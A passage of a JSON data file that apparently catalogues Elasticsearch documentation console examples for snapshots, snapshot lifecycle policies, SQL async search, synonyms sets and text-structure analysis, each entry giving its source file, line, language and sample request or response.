\"dRctdKb54xw67gvLCxSket\",\n \"repository\": \"my_repository\",\n \"version_id\": ,\n \"version\": ,\n \"indices\": [],\n \"data_streams\": [],\n \"feature_states\": [],\n \"include_global_state\": true,\n \"state\": \"SUCCESS\",\n \"start_time\": \"2020-07-06T21:55:18.131Z\",\n \"start_time_in_millis\": 1593093628852,\n \"end_time\": \"2020-07-06T21:55:18.135Z\",\n \"end_time_in_millis\": 1593093628856,\n \"duration_in_millis\": 4,\n \"failures\": [],\n \"shards\": {\n \"total\": 0,\n \"failed\": 0,\n \"successful\": 0\n }\n }\n ],\n \"total\": 3,\n \"remaining\": 0\n}"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-status-api.asciidoc","line":75},"digest":"2105f2d1d81977054a93163a175793ce","lang":"console","found":["ruby"],"source":"GET _snapshot/_status"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-status-api.asciidoc","line":332},"digest":"0601b5cb5328c9ebff30f4be1b210f93","lang":"console","found":["ruby"],"source":"GET _snapshot/my_repository/snapshot_2/_status"}, {"source_location":{"file":"snapshot-restore/apis/get-snapshot-status-api.asciidoc","line":337},"digest":"cf961eaa04c20e769d006b3e960f73ee","lang":"console-result","found":[],"source":"{\n \"snapshots\" : [\n {\n \"snapshot\" : \"snapshot_2\",\n \"repository\" : \"my_repository\",\n \"uuid\" : \"lNeQD1SvTQCqqJUMQSwmGg\",\n \"state\" : \"SUCCESS\",\n \"include_global_state\" : false,\n \"shards_stats\" : {\n \"initializing\" : 0,\n \"started\" : 0,\n \"finalizing\" : 0,\n \"done\" : 1,\n \"failed\" : 0,\n \"total\" : 1\n },\n \"stats\" : {\n \"incremental\" : {\n \"file_count\" : 3,\n \"size_in_bytes\" : 5969\n },\n \"total\" : {\n \"file_count\" : 4,\n \"size_in_bytes\" : 6024\n },\n \"start_time_in_millis\" : 1594829326691,\n \"time_in_millis\" : 205\n },\n \"indices\" : {\n \"index_1\" : {\n \"shards_stats\" : {\n \"initializing\" : 0,\n \"started\" : 0,\n \"finalizing\" : 0,\n \"done\" : 1,\n \"failed\" : 0,\n \"total\" : 1\n },\n \"stats\" : {\n \"incremental\" : {\n \"file_count\" : 3,\n \"size_in_bytes\" : 5969\n },\n \"total\" : {\n \"file_count\" : 4,\n \"size_in_bytes\" : 6024\n },\n \"start_time_in_millis\" : 1594829326896,\n \"time_in_millis\" : 0\n },\n \"shards\" : {\n \"0\" : {\n \"stage\" : \"DONE\",\n \"stats\" : {\n \"incremental\" : {\n \"file_count\" : 3,\n \"size_in_bytes\" : 5969\n },\n \"total\" : {\n \"file_count\" : 4,\n \"size_in_bytes\" : 6024\n },\n \"start_time_in_millis\" : 1594829326896,\n \"time_in_millis\" : 0\n }\n }\n }\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"snapshot-restore/apis/restore-snapshot-api.asciidoc","line":54},"digest":"5195a88194f7a139c635a84398d76205","lang":"console","found":["ruby"],"source":"POST /_snapshot/my_repository/my_snapshot/_restore"}, {"source_location":{"file":"snapshot-restore/apis/restore-snapshot-api.asciidoc","line":88},"digest":"aa7f62279b487989440d423c1ed4a1c0","lang":"console","found":["ruby"],"source":"GET _index_template/*?filter_path=index_templates.name,index_templates.index_template.index_patterns,index_templates.index_template.data_stream"}, {"source_location":{"file":"snapshot-restore/apis/restore-snapshot-api.asciidoc","line":242},"digest":"cc9dac8db7a1482e2fbe3235197c3de1","lang":"console","found":["ruby"],"source":"POST /_snapshot/my_repository/snapshot_2/_restore?wait_for_completion=true\n{\n \"indices\": \"index_1,index_2\",\n \"ignore_unavailable\": true,\n \"include_global_state\": false,\n \"rename_pattern\": \"index_(.+)\",\n \"rename_replacement\": \"restored_index_$1\",\n \"include_aliases\": false\n}"}, {"source_location":{"file":"snapshot-restore/apis/restore-snapshot-api.asciidoc","line":268},"digest":"afe30f159937b38d74c869570cfcd369","lang":"console","found":["ruby"],"source":"POST index_1/_close\n\nPOST /_snapshot/my_repository/snapshot_2/_restore?wait_for_completion=true\n{\n \"indices\": \"index_1\"\n}"}, {"source_location":{"file":"snapshot-restore/apis/delete-snapshot-api.asciidoc","line":30},"digest":"f04e1284d09ceb4443d67b2ef9c7f476","lang":"console","found":["ruby"],"source":"DELETE /_snapshot/my_repository/my_snapshot"}, {"source_location":{"file":"snapshot-restore/apis/delete-snapshot-api.asciidoc","line":67},"digest":"6dd4c02fe3d6b800648a04d3e2d29fc1","lang":"console","found":["ruby"],"source":"DELETE /_snapshot/my_repository/snapshot_2,snapshot_3"}, {"source_location":{"file":"snapshot-restore/apis/delete-snapshot-api.asciidoc","line":74},"digest":"aff76d64e6270a13c3274869f9abc3a9","lang":"console-result","found":[],"source":"{\n \"acknowledged\" : true\n}"}, {"source_location":{"file":"slm/apis/slm-put.asciidoc","line":113},"digest":"aa7cf5df36b867aee5e3314ac4b4fa68","lang":"console","found":[],"source":"PUT /_slm/policy/daily-snapshots\n{\n \"schedule\": \"0 30 1 * * ?\", <1>\n \"name\": \"\", <2>\n \"repository\": \"my_repository\", <3>\n \"config\": { <4>\n \"indices\": [\"data-*\", \"important\"], <5>\n \"ignore_unavailable\": false,\n \"include_global_state\": false\n },\n \"retention\": { <6>\n \"expire_after\": \"30d\", <7>\n \"min_count\": 5, <8>\n \"max_count\": 50 <9>\n }\n}"}, {"source_location":{"file":"slm/apis/slm-get.asciidoc","line":71},"digest":"f2175feadc2abe545899889e6d4ffcad","lang":"console","found":["ruby"],"source":"GET _slm/policy/daily-snapshots?human"}, {"source_location":{"file":"slm/apis/slm-get.asciidoc","line":79},"digest":"7cefd344e81b6ec54a2bc7fa3268b7bf","lang":"console-result","found":[],"source":"{\n \"daily-snapshots\": {\n \"version\": 1, <1>\n \"modified_date\": \"2099-05-06T01:30:00.000Z\", <2>\n \"modified_date_millis\": 4081757400000,\n \"policy\" : {\n \"schedule\": \"0 30 1 * * ?\",\n \"name\": \"\",\n \"repository\": \"my_repository\",\n \"config\": {\n \"indices\": [\"data-*\", \"important\"],\n \"ignore_unavailable\": false,\n \"include_global_state\": false\n },\n \"retention\": {\n \"expire_after\": \"30d\",\n \"min_count\": 5,\n \"max_count\": 50\n }\n },\n \"stats\": {\n \"policy\": \"daily-snapshots\",\n \"snapshots_taken\": 0,\n \"snapshots_failed\": 0,\n \"snapshots_deleted\": 0,\n \"snapshot_deletion_failures\": 0\n },\n \"next_execution\": \"2099-05-07T01:30:00.000Z\", <3>\n \"next_execution_millis\": 4081843800000\n }\n}"}, {"source_location":{"file":"slm/apis/slm-get.asciidoc","line":126},"digest":"a159e1ce0cba7a35ce44db9bebad22f3","lang":"console","found":["ruby"],"source":"GET _slm/policy"}, {"source_location":{"file":"slm/apis/slm-delete.asciidoc","line":65},"digest":"1a1f3421717ff744ed83232729289bb0","lang":"console","found":["ruby"],"source":"DELETE /_slm/policy/daily-snapshots"}, {"source_location":{"file":"slm/apis/slm-execute.asciidoc","line":44},"digest":"0ab002c6618af75e1041a23c692327ad","lang":"console","found":[],"source":"POST /_slm/policy/daily-snapshots/_execute"}, {"source_location":{"file":"slm/apis/slm-execute.asciidoc","line":52},"digest":"80e9cf8fc73f6f5c65db578752235391","lang":"console-result","found":[],"source":"{\n \"snapshot_name\": \"daily-snap-2019.04.24-gwrqoo2xtea3q57vvg0uea\"\n}"}, {"source_location":{"file":"slm/apis/slm-execute-retention.asciidoc","line":34},"digest":"e71d300cd87f09a9527cf45395dd7eb1","lang":"console","found":["ruby"],"source":"POST /_slm/_execute_retention"}, {"source_location":{"file":"slm/apis/slm-get-status.asciidoc","line":42},"digest":"cde4104a29dfe942d55863cdd8718627","lang":"console","found":["ruby"],"source":"GET _slm/status"}, {"source_location":{"file":"slm/apis/slm-get-status.asciidoc","line":49},"digest":"99e0bec31e49636bc0053ac66bc29352","lang":"console-result","found":[],"source":"{\n \"operation_mode\": \"RUNNING\"\n}"}, {"source_location":{"file":"slm/apis/slm-stats.asciidoc","line":26},"digest":"55e8ddf643726dec51531ada0bec7143","lang":"console","found":["ruby"],"source":"GET /_slm/stats"}, {"source_location":{"file":"slm/apis/slm-start.asciidoc","line":41},"digest":"371962cf63e65c10026177c6a1bad0b6","lang":"console","found":[],"source":"POST _slm/start"}, {"source_location":{"file":"slm/apis/slm-start.asciidoc","line":48},"digest":"bc5fcc40c29087a0df7b5405bb70de5c","lang":"console-result","found":[],"source":"{\n \"acknowledged\": true\n}"}, {"source_location":{"file":"slm/apis/slm-stop.asciidoc","line":47},"digest":"41195ef13af0465cdee1ae18f6c00fde","lang":"console","found":[],"source":"POST _slm/stop"}, {"source_location":{"file":"sql/apis/clear-sql-cursor-api.asciidoc","line":23},"digest":"5174c3c731fc1703e5b43ae2bae7a80e","lang":"console","found":[],"source":"POST _sql/close\n{\n \"cursor\": \"sDXF1ZXJ5QW5kRmV0Y2gBAAAAAAAAAAEWYUpOYklQMHhRUEtld3RsNnFtYU1hQQ==:BAFmBGRhdGUBZgVsaWtlcwFzB21lc3NhZ2UBZgR1c2Vy9f///w8=\"\n}"}, {"source_location":{"file":"sql/apis/delete-async-sql-search-api.asciidoc","line":12},"digest":"1ed26c7b445ab1c167bd9385e1f0066f","lang":"console","found":["ruby"],"source":"DELETE _sql/async/delete/FkpMRkJGS1gzVDRlM3g4ZzMyRGlLbkEaTXlJZHdNT09TU2VTZVBoNDM3cFZMUToxMDM="}, {"source_location":{"file":"sql/apis/get-async-sql-search-api.asciidoc","line":12},"digest":"c187b52646cedeebe0716327add65642","lang":"console","found":["ruby"],"source":"GET _sql/async/FmdMX2pIang3UWhLRU5QS0lqdlppYncaMUpYQ05oSkpTc3kwZ21EdC1tbFJXQToxOTI=?format=json"}, {"source_location":{"file":"sql/apis/get-async-sql-search-status-api.asciidoc","line":12},"digest":"841d8b766902c8e3ae85c228a31383ac","lang":"console","found":["ruby"],"source":"GET _sql/async/status/FmdMX2pIang3UWhLRU5QS0lqdlppYncaMUpYQ05oSkpTc3kwZ21EdC1tbFJXQToxOTI=?format=json"}, {"source_location":{"file":"sql/apis/sql-search-api.asciidoc","line":11},"digest":"03c4b815bf1e6a8c5cfcc6ddf94bc093","lang":"console","found":[],"source":"POST _sql?format=txt\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC LIMIT 5\"\n}"}, {"source_location":{"file":"sql/apis/sql-translate-api.asciidoc","line":12},"digest":"6f48ab7cbb8a4a46d0e9272c07166eaf","lang":"console","found":[],"source":"POST _sql/translate\n{\n \"query\": \"SELECT * FROM library ORDER BY page_count DESC\",\n \"fetch_size\": 10\n}"}, {"source_location":{"file":"synonyms/apis/put-synonyms-set.asciidoc","line":58},"digest":"9e563b8d5a7845f644db8d5bbf453eb6","lang":"console","found":["ruby"],"source":"PUT _synonyms/my-synonyms-set\n{\n \"synonyms_set\": [\n {\n \"id\": \"test-1\",\n \"synonyms\": \"hello, hi\"\n },\n {\n \"synonyms\": \"bye, goodbye\"\n },\n {\n \"id\": \"test-2\",\n \"synonyms\": \"test => check\"\n }\n ]\n}"}, {"source_location":{"file":"synonyms/apis/put-synonyms-set.asciidoc","line":80},"digest":"3608e4fcd17dd8d5f88ec9a3db2f5d89","lang":"console","found":[],"source":"PUT _synonyms/my-synonyms-set\n{\n \"synonyms_set\": [\n {\n \"synonyms\": \"hello => hi => howdy\"\n }\n ]\n}"}, {"source_location":{"file":"synonyms/apis/put-synonyms-set.asciidoc","line":94},"digest":"288511aab7eee87764e66b9564a6a54c","lang":"console-result","found":[],"source":"{\n \"error\": {\n \"root_cause\": [\n {\n \"type\": \"action_request_validation_exception\",\n \"reason\": \"Validation Failed: 1: More than one explicit mapping specified in the same synonyms rule: [hello => hi => howdy];\",\n \"stack_trace\": ...\n }\n ],\n \"type\": \"action_request_validation_exception\",\n \"reason\": \"Validation Failed: 1: More than one explicit mapping specified in the same synonyms rule: [hello => hi => howdy];\",\n \"stack_trace\": ...\n },\n \"status\": 400\n}"}, {"source_location":{"file":"synonyms/apis/put-synonyms-set.asciidoc","line":122},"digest":"4cdcc3fde5cea165a3a7567962b9bd61","lang":"console","found":["ruby"],"source":"PUT _synonyms/my-synonyms-set\n{\n \"synonyms_set\": [\n {\n \"id\": \"test-1\",\n \"synonyms\": \"hello, hi\"\n }\n ]\n}\n\nPUT /test-index\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"synonyms_filter\": {\n \"type\": \"synonym_graph\",\n \"synonyms_set\": \"my-synonyms-set\",\n \"updateable\": true\n }\n },\n \"analyzer\": {\n \"my_index_analyzer\": {\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\"lowercase\"]\n },\n \"my_search_analyzer\": {\n \"type\": \"custom\",\n \"tokenizer\": \"standard\",\n \"filter\": [\"lowercase\", \"synonyms_filter\"]\n }\n }\n }\n },\n \"mappings\": {\n \"properties\": {\n \"title\": {\n \"type\": \"text\",\n \"analyzer\": \"my_index_analyzer\",\n \"search_analyzer\": \"my_search_analyzer\"\n }\n }\n }\n}\n\nPUT _synonyms/my-synonyms-set\n{\n \"synonyms_set\": [\n {\n \"id\": \"test-1\",\n \"synonyms\": \"hello, hi, howdy\"\n }\n ]\n}"}, {"source_location":{"file":"synonyms/apis/put-synonyms-set.asciidoc","line":184},"digest":"8604e87f5467d88ae38a00f0518a456f","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\",\n \"reload_analyzers_details\": {\n \"_shards\": {\n \"total\": 2,\n \"successful\": 1,\n \"failed\": 0\n },\n \"reload_details\": [\n {\n \"index\": \"test-index\",\n \"reloaded_analyzers\": [\n \"my_search_analyzer\"\n ],\n \"reloaded_node_ids\": [\n \"1wYFZzq8Sxeu_Jvt9mlbkg\"\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"synonyms/apis/get-synonyms-set.asciidoc","line":75},"digest":"4b5110a21676cc0e26e050a4b4552235","lang":"console","found":["ruby"],"source":"GET _synonyms/my-synonyms-set"}, {"source_location":{"file":"synonyms/apis/get-synonyms-set.asciidoc","line":84},"digest":"3b1754fc8773bac6114312cc45d0dd44","lang":"console-result","found":[],"source":"{\n \"count\": 3,\n \"synonyms_set\": [\n {\n \"id\": \"test-1\",\n \"synonyms\": \"hello, hi\"\n },\n {\n \"id\": \"test-2\",\n \"synonyms\": \"bye, goodbye\"\n },\n {\n \"id\": \"test-3\",\n \"synonyms\": \"test => check\"\n }\n ]\n}"}, {"source_location":{"file":"synonyms/apis/list-synonyms-sets.asciidoc","line":80},"digest":"e2bcc8f4ed2b4de82729e7a5a7c8f634","lang":"console","found":["ruby"],"source":"GET _synonyms"}, {"source_location":{"file":"synonyms/apis/list-synonyms-sets.asciidoc","line":87},"digest":"3ca56870525be8c275c7da0616007d73","lang":"console-result","found":[],"source":"{\n \"count\": 3,\n \"results\": [\n {\n \"synonyms_set\": \"ecommerce-synonyms\",\n \"count\": 2\n },\n {\n \"synonyms_set\": \"my-synonyms-set\",\n \"count\": 3\n },\n {\n \"synonyms_set\": \"new-ecommerce-synonyms\",\n \"count\": 1\n }\n ]\n}"}, {"source_location":{"file":"synonyms/apis/delete-synonyms-set.asciidoc","line":61},"digest":"3386fe07e90844dbcdbbe7c07f09e04a","lang":"console","found":[],"source":"DELETE _synonyms/my-synonyms-set"}, {"source_location":{"file":"synonyms/apis/delete-synonyms-set.asciidoc","line":161},"digest":"57fa0269123e8388207189c9860d6b0f","lang":"console-result","found":[],"source":"{\n \"error\": {\n \"root_cause\": [\n {\n \"type\": \"illegal_argument_exception\",\n \"reason\": \"synonyms set [my-synonyms-set] cannot be deleted as it is used in the following indices: index-1, index-2\",\n \"stack_trace\": ...\n }\n ],\n \"type\": \"illegal_argument_exception\",\n \"reason\": \"synonyms set [my-synonyms-set] cannot be deleted as it is used in the following indices: index-1, index-2\",\n \"stack_trace\": ...\n },\n \"status\": 400\n}"}, {"source_location":{"file":"synonyms/apis/put-synonym-rule.asciidoc","line":107},"digest":"2c1e16e9ac24cfea979af2a69900d3c2","lang":"console","found":["ruby"],"source":"PUT _synonyms/my-synonyms-set/test-1\n{\n \"synonyms\": \"hello, hi, howdy\"\n}"}, {"source_location":{"file":"synonyms/apis/put-synonym-rule.asciidoc","line":115},"digest":"8604e87f5467d88ae38a00f0518a456f","lang":"console-result","found":[],"source":"{\n \"result\": \"updated\",\n \"reload_analyzers_details\": {\n \"_shards\": {\n \"total\": 2,\n \"successful\": 1,\n \"failed\": 0\n },\n \"reload_details\": [\n {\n \"index\": \"test-index\",\n \"reloaded_analyzers\": [\n \"my_search_analyzer\"\n ],\n \"reloaded_node_ids\": [\n \"1wYFZzq8Sxeu_Jvt9mlbkg\"\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"synonyms/apis/put-synonym-rule.asciidoc","line":145},"digest":"6097ae69c64454a92a89ef01b994e9f9","lang":"console","found":[],"source":"PUT _synonyms/my-synonyms-set/test-1\n{\n \"synonyms\": \"hello => hi => howdy\"\n}"}, {"source_location":{"file":"synonyms/apis/put-synonym-rule.asciidoc","line":154},"digest":"288511aab7eee87764e66b9564a6a54c","lang":"console-result","found":[],"source":"{\n \"error\": {\n \"root_cause\": [\n {\n \"type\": \"action_request_validation_exception\",\n \"reason\": \"Validation Failed: 1: More than one explicit mapping specified in the same synonyms rule: [hello => hi => howdy];\",\n \"stack_trace\": ...\n }\n ],\n \"type\": \"action_request_validation_exception\",\n \"reason\": \"Validation Failed: 1: More than one explicit mapping specified in the same synonyms rule: [hello => hi => howdy];\",\n \"stack_trace\": ...\n },\n \"status\": 400\n}"}, {"source_location":{"file":"synonyms/apis/get-synonym-rule.asciidoc","line":67},"digest":"80edd2124a822d9f9bf22ecc49d2c2e9","lang":"console","found":["ruby"],"source":"GET _synonyms/my-synonyms-set/test-1"}, {"source_location":{"file":"synonyms/apis/get-synonym-rule.asciidoc","line":72},"digest":"22944859c8695cade3ffacfeea108f75","lang":"console-result","found":[],"source":"{\n \"id\": \"test-1\",\n \"synonyms\": \"hello, hi\"\n}"}, {"source_location":{"file":"synonyms/apis/delete-synonym-rule.asciidoc","line":103},"digest":"a547bb926c25f670078b98fbe67de3cc","lang":"console","found":["ruby"],"source":"DELETE _synonyms/my-synonyms-set/test-1"}, {"source_location":{"file":"synonyms/apis/delete-synonym-rule.asciidoc","line":108},"digest":"a499f7b6851da6598b44df1dc3954fa2","lang":"console-result","found":[],"source":"{\n \"result\": \"deleted\",\n \"reload_analyzers_details\": {\n \"_shards\": {\n \"total\": 2,\n \"successful\": 1,\n \"failed\": 0\n },\n \"reload_details\": [\n {\n \"index\": \"test-index\",\n \"reloaded_analyzers\": [\n \"my_search_analyzer\"\n ],\n \"reloaded_node_ids\": [\n \"1wYFZzq8Sxeu_Jvt9mlbkg\"\n ]\n }\n ]\n }\n}"}, {"source_location":{"file":"text-structure/apis/find-field-structure.asciidoc","line":89},"digest":"b62eaa20c4e0e48134a6d1d1b3c30b26","lang":"console","found":[],"source":"POST _bulk?refresh=true\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:36,256][INFO ][o.a.l.u.VectorUtilPanamaProvider] [laptop] Java vector incubator API enabled; uses preferredBitSize=128\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,038][INFO ][o.e.p.PluginsService ] [laptop] loaded module [repository-url]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,042][INFO ][o.e.p.PluginsService ] [laptop] loaded module [rest-root]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-core]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-redact]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [ingest-user-agent]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-monitoring]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [repository-s3]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-analytics]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-ent-search]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-autoscaling]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [lang-painless]]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,059][INFO ][o.e.p.PluginsService ] [laptop] loaded module [lang-expression]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:41,059][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-eql]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:43,291][INFO ][o.e.e.NodeEnvironment ] [laptop] heap size [16gb], compressed ordinary object pointers [true]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:46,098][INFO ][o.e.x.s.Security ] [laptop] Security is enabled\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:47,227][INFO ][o.e.x.p.ProfilingPlugin ] [laptop] Profiling is enabled\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:47,259][INFO ][o.e.x.p.ProfilingPlugin ] [laptop] profiling index templates will not be installed or reinstalled\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:47,755][INFO ][o.e.i.r.RecoverySettings ] [laptop] using rate limit [40mb] with [default=40mb, read=0b, write=0b, max=0b]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:47,787][INFO ][o.e.d.DiscoveryModule ] [laptop] using discovery type [multi-node] and seed hosts providers [settings]\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:49,188][INFO ][o.e.n.Node ] [laptop] initialized\"}\n{\"index\":{\"_index\":\"test-logs\"}}\n{\"message\":\"[2024-03-05T10:52:49,199][INFO ][o.e.n.Node ] [laptop] starting ...\"}\n\nGET _text_structure/find_field_structure?index=test-logs&field=message"}, {"source_location":{"file":"text-structure/apis/find-field-structure.asciidoc","line":143},"digest":"af6b324025a95de41ceca7a862a15c53","lang":"console-result","found":[],"source":"{\n \"num_lines_analyzed\" : 22,\n \"num_messages_analyzed\" : 22,\n \"sample_start\" : \"[2024-03-05T10:52:36,256][INFO ][o.a.l.u.VectorUtilPanamaProvider] [laptop] Java vector incubator API enabled; uses preferredBitSize=128\\n[2024-03-05T10:52:41,038][INFO ][o.e.p.PluginsService ] [laptop] loaded module [repository-url]\\n\", <3>\n \"charset\" : \"UTF-8\",\n \"format\" : \"semi_structured_text\",\n \"multiline_start_pattern\" : \"^\\\\[\\\\b\\\\d{4}-\\\\d{2}-\\\\d{2}[T ]\\\\d{2}:\\\\d{2}\",\n \"grok_pattern\" : \"\\\\[%{TIMESTAMP_ISO8601:timestamp}\\\\]\\\\[%{LOGLEVEL:loglevel} \\\\]\\\\[.*\",\n \"ecs_compatibility\" : \"disabled\",\n \"timestamp_field\" : \"timestamp\",\n \"joda_timestamp_formats\" : [\n \"ISO8601\"\n ],\n \"java_timestamp_formats\" : [\n \"ISO8601\"\n ],\n \"need_client_timezone\" : true,\n \"mappings\" : {\n \"properties\" : {\n \"@timestamp\" : {\n \"type\" : \"date\"\n },\n \"loglevel\" : {\n \"type\" : \"keyword\"\n },\n \"message\" : {\n \"type\" : \"text\"\n }\n }\n },\n \"ingest_pipeline\" : {\n \"description\" : \"Ingest pipeline created by text structure finder\",\n \"processors\" : [\n {\n \"grok\" : {\n \"field\" : \"message\",\n \"patterns\" : [\n \"\\\\[%{TIMESTAMP_ISO8601:timestamp}\\\\]\\\\[%{LOGLEVEL:loglevel} \\\\]\\\\[.*\"\n ],\n \"ecs_compatibility\" : \"disabled\"\n }\n },\n {\n \"date\" : {\n \"field\" : \"timestamp\",\n \"timezone\" : \"{{ event.timezone }}\",\n \"formats\" : [\n \"ISO8601\"\n ]\n }\n },\n {\n \"remove\" : {\n \"field\" : \"timestamp\"\n }\n }\n ]\n },\n \"field_stats\" : {\n \"loglevel\" : {\n \"count\" : 22,\n \"cardinality\" : 1,\n \"top_hits\" : [\n {\n \"value\" : \"INFO\",\n \"count\" : 22\n }\n ]\n },\n \"message\" : {\n \"count\" : 22,\n \"cardinality\" : 22,\n \"top_hits\" : [\n {\n \"value\" : \"[2024-03-05T10:52:36,256][INFO ][o.a.l.u.VectorUtilPanamaProvider] [laptop] Java vector incubator API enabled; uses preferredBitSize=128\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,038][INFO ][o.e.p.PluginsService ] [laptop] loaded module [repository-url]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,042][INFO ][o.e.p.PluginsService ] [laptop] loaded module [rest-root]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [ingest-user-agent]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-core]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-redact]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [lang-painless]]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [repository-s3]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-analytics]\",\n \"count\" : 1\n },\n {\n \"value\" : \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-autoscaling]\",\n \"count\" : 1\n }\n ]\n },\n \"timestamp\" : {\n \"count\" : 22,\n \"cardinality\" : 14,\n \"earliest\" : \"2024-03-05T10:52:36,256\",\n \"latest\" : \"2024-03-05T10:52:49,199\",\n \"top_hits\" : [\n {\n \"value\" : \"2024-03-05T10:52:41,044\",\n \"count\" : 6\n },\n {\n \"value\" : \"2024-03-05T10:52:41,043\",\n \"count\" : 3\n },\n {\n \"value\" : \"2024-03-05T10:52:41,059\",\n \"count\" : 2\n },\n {\n \"value\" : \"2024-03-05T10:52:36,256\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:41,038\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:41,042\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:43,291\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:46,098\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:47,227\",\n \"count\" : 1\n },\n {\n \"value\" : \"2024-03-05T10:52:47,259\",\n \"count\" : 1\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"text-structure/apis/find-message-structure.asciidoc","line":87},"digest":"77518e8c6198acfe77c0934fd2fe65cb","lang":"console","found":[],"source":"POST _text_structure/find_message_structure\n{\n \"messages\": [\n \"[2024-03-05T10:52:36,256][INFO ][o.a.l.u.VectorUtilPanamaProvider] [laptop] Java vector incubator API enabled; uses preferredBitSize=128\",\n \"[2024-03-05T10:52:41,038][INFO ][o.e.p.PluginsService ] [laptop] loaded module [repository-url]\",\n \"[2024-03-05T10:52:41,042][INFO ][o.e.p.PluginsService ] [laptop] loaded module [rest-root]\",\n \"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-core]\",\n \"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-redact]\",\n \"[2024-03-05T10:52:41,043][INFO ][o.e.p.PluginsService ] [laptop] loaded module [ingest-user-agent]\",\n \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-monitoring]\",\n \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [repository-s3]\",\n \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-analytics]\",\n \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-ent-search]\",\n \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [x-pack-autoscaling]\",\n \"[2024-03-05T10:52:41,044][INFO ][o.e.p.PluginsService ] [laptop] loaded module [lang-painless]]\",\n \"[2024-03-05T10:52:41,059][INFO ][o.e.p.PluginsService ] [laptop] loaded module [lang-expression]\",\n 